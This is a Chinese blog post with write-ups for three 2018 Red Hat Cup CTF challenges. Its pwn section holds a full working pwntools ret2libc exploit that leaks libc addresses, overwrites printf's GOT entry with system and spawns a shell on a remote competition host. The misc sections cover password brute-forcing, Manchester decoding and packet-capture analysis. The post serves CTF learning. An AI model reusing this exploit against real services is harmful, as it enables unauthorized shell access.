美文网首页
2018红帽杯

2018红帽杯

作者: cceb9d5a8577 | 来源:发表于2018-05-01 13:36 被阅读521次

pwn--game server

拿到题目按照国际惯例先checksec和IDA一波

image image 发现只开了nx保护,这样的题目一般都是ret2libc了,观察题目,发现第33行的地方有溢出点,通过read函数可以向s里面写nbytes个字节,同时在第21行nbytes又可以被name和occupation这个两个变量的大小所影响,因为snprintf函数是有这个漏洞的: image

s的栈空间大小是0x111,那么我们让nbytes的大小远超过0x111,就可以实现溢出。

溢出后就需要考虑用那种方式去getshell了,通过调试发现,溢出一次后并不能返回main函数,因此我们只有一次构造溢出的机会,那么这个时候就只能用gadget了,我们可以查到这些gadget:

image

我们这里需要用到的gadget是:pop ebp ret和pop esi ; pop edi ; pop ebp ; ret,利用他们来保存栈平衡,

接着构造paylode首先执行puts函数将puts的真正地址打印出来,接着执行read函数将system的地址写到printf的got表中,接着再执行read函数将/bin/sh参数读入bss段中,最后在执行printf函数也就是相对于执行了system(/bin/sh)

完整的exp如下:

coding:utf-8
from pwn import *
context.log_level = 'debug'
#p = process('./pwn2')
p = remote('123.59.138.180',20000)
elf = ELF("./pwn2")

read_plt = elf.plt["read"]
print "read_plt:"+hex(read_plt)
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
puts_plt = elf.plt["puts"]
print "puts_plt:"+hex(puts_plt)

p_ebp_ret=0x0804881b# : pop ebp ; ret
p_ebx_ret=0x0804841d# : pop ebx ; ret
ppp_ret=0x08048819# : pop esi ; pop edi ; pop ebp ; ret
bss= elf.bss()

payload1 = 'a'*0xfc
p.recvuntil('name?\n')
p.sendline(payload1)

payload2 = 'b'*0xfc
p.recvuntil('occupation?\n')
p.sendline(payload2)

payload3 = 'Y'
p.recvuntil('[Y/N]\n')
p.sendline(payload3)

payload4 = 'a'*0x111+"aaaa"+ p32(puts_plt) + p32(p_ebp_ret) + p32(puts_got)
payload4 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(elf.got['printf']) + p32(4) 
payload4 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(bss) + p32(8) 
payload4 += p32(elf.plt['printf']) + p32(0xdeadbeef) + p32(bss)
p.sendline(payload4)

p.recvuntil('\n')
p.recvuntil('\n')
p.recvuntil('\n')
sleep(0.1)

puts_addr = u32(p.recv(4)) #0xf7585140
print hex(puts_addr)
#这里得到puts函数真正地址的后四位是5140
#通过在网上查找,可以找到对应的libc版本和system、puts的偏移量:
offset_puts = 0x05f140
offset_system = 0x03a940
libc_base = puts_addr - offset_puts
system_addr = libc_base + offset_system

p.send(p32(system_addr))
p.send('/bin/sh\x00')
p.interactive()

misc-听说你们喜欢手工爆破**

看这个题目标题,就知道应该是爆破了,拿到一个iso文件,解压一波,发现一大堆txt文件和一个rar压缩包:

image 其中txt的内容都一样的,因此是没有叼用的,rar压缩包有密码,要手工爆破,根据目前知道的信息就应该是拿文件名一个个去试密码了,但是500个txt手工试密码不现实,直接提取出来,做成字典再用工具去字典爆破它就行了 image 得到密码后解出一个doc文档,又有密码,这个时候我们就只能直接爆破了: image

爆破出来后发现里面一段文字,通过调隐藏文字,调背景颜色都没有发现flag,那就说明还有一段要解的地方

image

可以看到关键点在这:

“她现在住在F5街区F5街道07号幢,并给他邮箱发了新家里的门禁解锁代码:“123654AAA678876303555111AAA77611A321”,

看起来像是一段密码,但是看不出什么密码,于是想到最开始的“情系海边之城.rar”百度一波发现

image

这是一个曼彻斯特码,然后疯狂百度谷歌,找到了一些解码的脚本,改一改就可以直接解出flag了,需要注意的是,在解的过程中,需要与关键点“F5F507”做比较,一般来说,包含这一段的才是正确的flag,毕竟曼彻斯特码有两种编码方式

image

misc-Not Only Wireshark

打开发现是一个流量包,扔到wireshark,观察了好久没有看出什么东西,


image.png

最后发现,有很多name=xxx,就打算提取出来,提取的话可以用tshark工具


image.png image.png

提出来以后,感觉前面有点像一个zip压缩包的文件头“504B0304”,于是把123改成5,写到一个文件里面去,发现真的得到一个zip文件:


image.png image.png

这个时候又发现需要密码才能解压出flag,于是回到流量包,直接查找key的字符串,就发现了密码,密码就是“?id=1128%23”


image.png

flag就得到了,这道题真是气人啊。。。。之前还提取出了好几张png图片疯狂分析


image.png

相关文章

  • 2018红帽杯

    pwn--game server 拿到题目按照国际惯例先checksec和IDA一波 s的栈空间大小是0x111,...

  • 2018红帽杯自我总结

    虽然不是第一次接触AWD,但是在没有大佬的情况下作为web手参加正式比赛还是第一次,一方面暴露出了我对基础知识和技...

  • 红帽杯writeup

    目录 Not Only Wireshark听说你们喜欢手工爆破这是道web题?simple uploadshopp...

  • 红帽杯部分Wp

    Crypto rsa systemwriteup 拿到代码,粗略一看,嗯首先有个len为38的flag,另这个fl...

  • 2018-01-26

    红帽认证为职场加分,助你走向高薪梦 红帽认证是由红帽Linux公司推出的,主要包括红帽认证技师(RHCSA),红帽...

  • 2019 红帽杯决赛 pwn 题 writeup

    前言 这次比赛的赛制和今年国赛的赛制一样. 名为攻防, 实为解题. 不过和常规解题相比加了个罚时规则, 越早解出题...

  • BUUCTF re [2019红帽杯]xx WP

    使用findcrypt插件发现为tea系列,跟进知道加密算法为xxtea 第一部分 第二部分,v4存放着Code的...

  • 萌宠齐聚玩转2019年!

    今天是圣诞节!你今年是不是在等,等一个红帽子白胡子的老爷爷 2019第8届广州国际宠博即将开启,2018红帽子白胡...

  • 那山,那水,那人

    2018-06-02 那山,那水,那人 作者:小红帽 悄然间,日历就翻到了六月。 ...

  • 红帽认证有哪些?红帽RHCSA认证考试费用多少钱

    红帽认证有哪些?红帽认证是由红帽公司推出的Linux认证,红帽公司作为全球领先的开源和Linux系统提供商,其产品...

网友评论

      本文标题:2018红帽杯

      本文链接:https://www.haomeiwen.com/subject/gxbxrftx.html